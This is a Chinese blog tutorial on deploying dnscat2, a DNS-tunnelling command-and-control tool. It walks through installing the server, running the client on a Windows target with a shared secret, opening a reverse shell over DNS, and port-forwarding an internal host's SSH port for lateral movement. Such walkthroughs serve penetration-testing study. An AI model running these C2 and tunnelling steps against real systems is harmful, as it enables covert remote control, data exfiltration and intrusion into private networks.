网站首页 > 技术文章 正文
最近我好久没写文章了,手痒了,于是乎我就写写文章!
废话不多说,就开始了!!
测试环境
ubuntu 14.04 root用户
windows7 x64 user用户
0x01环境准备
apt-get update
apt-get -y install ruby-dev git make g++
gem install bundler
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
#修改Gemfile source 'https://ruby.taobao.org/'
bundle install
或者通过docker安装
apt-get install docker.io
service docker status
service docker start
cd ~/dnscat2/server
#修改Gemfile source 'https://ruby.taobao.org/'
docker build .
安装完成之后,可能在docker images 看到这个镜像没有名字,我们修改一下 docker tag IMAGEID mpercival/dnscat2
0x02利用过程
server端
cd dnscat2/server
ruby ./dnscat2.rb
#docker用户 docker run -p 53:53/udp -it --rm mpercival/dnscat2 ruby ./dnscat2.rb
可以通过两种方式设置C&C地址,如果没有域名的话,直接在外网VPS运行ruby ./dnscat2.rb 有域名的童鞋,先设置好NS服务器将NS记录修改为当前的机器。然后通过ruby ./dnscat2.rb yourdomain 我这里使用的IP地址
client端
将dnscat2文件夹下面的client编译好成exe,然后上传到client端
dnscat2.exe --dns=server=server端ip --secret=
c2c6d04cab68ee2947d80316858da0f8
由于在新版本的dnscat2是加密的所以我们在客户端执行的时候要加上秘钥,不然无法正确的建立连接
获取shell
session -i 1 #切换到session 1
help #通过help可以看到支持的命令
shell #执行之后会新生成一个session 需要通过session -i 2 切过去
这样就成功获取了一个shell,我们可以通过数据包看一下
数据都是通过DNS发出去的,并且是加密过的,因为在最初的dnscat2的版本中,数据只是简单的hex编码。到最新版的默认就已经加密
通过Salsa20加密算法进行了加密,如果不知道秘钥,就几乎不能解密数据包了。除了普通的反弹shell和上传下载文件功能,还有一个比较有用的功能
可以通过dnscat2实现DNS隧道,然后进行内网渗透。在成功获取一个session之后执行
session -i id
listen 4444 10.211.55.19:22 #将内网10.211.55.19的22端口转发到本地的4444
然后直接ssh本地的ip的4444端口
注意的是我用的docker环境,所以是直接ssh的docker的ip
上述内容不知道大家学习到了吗?网络世界的安全漏洞每天都会出现,安全知识和安全意识每个公民都应该了解和学习,有想学习网络安全技能的小伙伴可以随时私信我哦!
猜你喜欢
- 2025-03-14 iOS:详解第三方管理工具CocoaPods
- 2025-03-14 cocoa pods 安装说明(cocos安装教程)
- 2025-03-14 Linux DRM那些事-内核代码(linux内核代码是什么语言)
- 2025-03-14 有毒的Docker:功能简单但使用复杂,分分钟找出替代品?
- 2025-03-14 用Solopace.Gem实现无公网IP连接自建RustDesk中继服务器(Linux)
- 2025-03-14 性能优越的轻量级日志收集工具,微软、亚马逊都在用
- 2025-03-14 社交软件开发6-客户端开发-ios端开发验证登陆部分
- 2025-03-14 关于IOS开发时的CocoaPods的安装以及注意事项
- 2025-03-14 Linux DRM那些事-RockPI DRM(linux中drwxr-xr-x)
- 2025-03-14 Loki和Fluentd的那点事儿(fluent与fluently)
- 最近发表
- 标签列表
-
- cmd/c (57)
- c++中::是什么意思 (57)
- sqlset (59)
- ps可以打开pdf格式吗 (58)
- phprequire_once (61)
- localstorage.removeitem (74)
- routermode (59)
- vector线程安全吗 (70)
- & (66)
- java (73)
- org.redisson (64)
- log.warn (60)
- cannotinstantiatethetype (62)
- js数组插入 (83)
- resttemplateokhttp (59)
- gormwherein (64)
- linux删除一个文件夹 (65)
- mac安装java (72)
- reader.onload (61)
- outofmemoryerror是什么意思 (64)
- flask文件上传 (63)
- eacces (67)
- 查看mysql是否启动 (70)
- java是值传递还是引用传递 (58)
- 无效的列索引 (74)